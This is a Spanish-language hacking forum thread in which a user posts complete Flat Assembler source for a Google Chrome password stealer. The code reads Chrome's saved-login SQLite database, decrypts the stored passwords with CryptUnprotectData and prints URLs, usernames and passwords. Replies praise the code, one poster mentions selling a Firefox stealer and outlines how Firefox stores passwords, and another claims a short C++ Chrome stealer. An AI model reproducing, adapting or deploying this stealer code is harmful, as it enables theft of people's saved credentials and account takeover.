[ASM] Stealer Google Chrome.

Iniciado por fary, 21 Enero 2016, 08:58 AM

0 Miembros y 1 Visitante están viendo este tema.

fary

Bueno, antes de nada este código se lo quiero dedicar a kub0x, que le gustan los códigos en ensamblador  :laugh:

Es un Stealer del navegador Google Chrome, funcional con la última versión.



Código fuente:

Código (asm) [Seleccionar]
; Stealer Google Chrome
; Programado por Juan fary.
; Flat Assembler.

format PE Console 4.0
entry start
include 'win32ax.inc'

section '.data' data readable writeable
       ruta         db '\Local\Google\Chrome\User Data\Default\Login Data',0
       query        db 'SELECT origin_url, username_value, password_value FROM logins',0

       bd           dd ?
       stmt         dd ?

       URL          db 'URL: %s',10,13,0
       Usuario      db 'Usuario: %s',10,13,0
       PASS         db 'PASS: %s',10,13,0

       struct DATA_BLOB
              cbData   dd ?
              pbData   dd ?
       ends

       datain      DATA_BLOB
       dataout     DATA_BLOB

       buffer      rb 255

       barra       db '-----------------------------------------------------',10,13,0

       BufferRuta  rb 512
       APPDATA     db 'APPDATA',0

section '.code' code readable executable
start:
       invoke GetEnvironmentVariableA, APPDATA, BufferRuta,512
       invoke lstrcat, BufferRuta, ruta

       cinvoke sqlite3_open, BufferRuta, bd
       cmp eax, 0 ; eax = SQLITE_OK
       jne salir

       cinvoke sqlite3_prepare_v2, [bd] , query, -1 ,stmt,0
       cmp eax, 0 ; eax = SQLITE_OK
       jne salir

   BuclePass:
       cinvoke sqlite3_step, [stmt]
       cmp eax, 100 ; eax = SQLITE_ROW
       jne salir

       cinvoke printf,barra

       cinvoke sqlite3_column_text , [stmt], 0  ; URL
       cinvoke printf,URL,eax

       cinvoke sqlite3_column_text , [stmt], 1  ; USUARIO
       cinvoke printf,Usuario,eax

       cinvoke sqlite3_column_text , [stmt], 2  ; Contraseña

       mov [datain.pbData], eax
       mov [datain.cbData], 512

       invoke CryptUnprotectData , datain, 0, 0, 0, 0, 0, dataout

       mov ecx, -1
    BucleNull:
       mov edx, [dataout.pbData]
       inc ecx

       cmp byte[edx+ecx],0x08
       jne BucleNull

       mov byte[edx+ecx],0

       cinvoke printf, PASS, [dataout.pbData]

       cinvoke printf,barra

       jmp BuclePass

       salir:
       cinvoke system,'PAUSE'
       ret

section '.idata' import data readable writeable

       library  sqlite3, 'sqlite3.dll',\
                msvcrt, 'msvcrt.dll',\
                Crypt32, 'Crypt32.dll',\
                KERNEL32, 'KERNEL32.DLL'

       import sqlite3,\
              sqlite3_open, 'sqlite3_open',\
              sqlite3_prepare_v2, 'sqlite3_prepare_v2',\
              sqlite3_column_text, 'sqlite3_column_text',\
              sqlite3_step, 'sqlite3_step'

       import msvcrt,\
              printf, 'printf',\
              memcpy,'memcpy',\
              system, 'system'

       import Crypt32,\
              CryptUnprotectData, 'CryptUnprotectData'

       import KERNEL32,\
              GetEnvironmentVariableA, 'GetEnvironmentVariableA',\
              lstrcat, 'lstrcatA'


saludos.


Un byte a la izquierda.

crack81

Se ve genial gracias por el aportaso voy a darle una revisda
//saludos....
Si C/C++ es el padre de los lenguajes entonces ASM es dios.

kub0x

Muy sexy ;) Joder que Chrome siga utilizando la API de crypto (CryptAPI) de Win32 deja mucho que desear.

Al menos para sacar las passwords de Mozilla tienes que reversear un poquito la API de NSS, cosa trivial mientras el usuario no utilice una contraseña maestra. Básicamente la password por defecto esta cifrada en TripleDES y encodeada en B64, en signons.sqlite por si te interesa, aunque ahora no usan sqlite sino .json (creo..) pues hace unos meses vendí un code que hacía de stealer para FireFox.

Son poquitas líneas, hace tiempo que perdí el stealer de Chrome en CPP (no puedo comparar) pero nada que envidiar.

Saludos.
Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate


Kaxperday

Buenas camaradas, ¿así que tenías el stealer de firefox?, enhorabuena.

Yo tengo el de chrome también para C++, no llegan a 15 líneas de código XD.

Ahora estoy un poco desconectado del tema, pero tengo pensado hacer el de FF y EDGE, pero primero tengo que aprender mejor ingeniería inversa, más allá de tenerlo o no, quiero saber hacerlo por mi mismo a través de ingeniería inversa, eso me pondría cachondo hehehe.

Un saludo, nos vemos.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.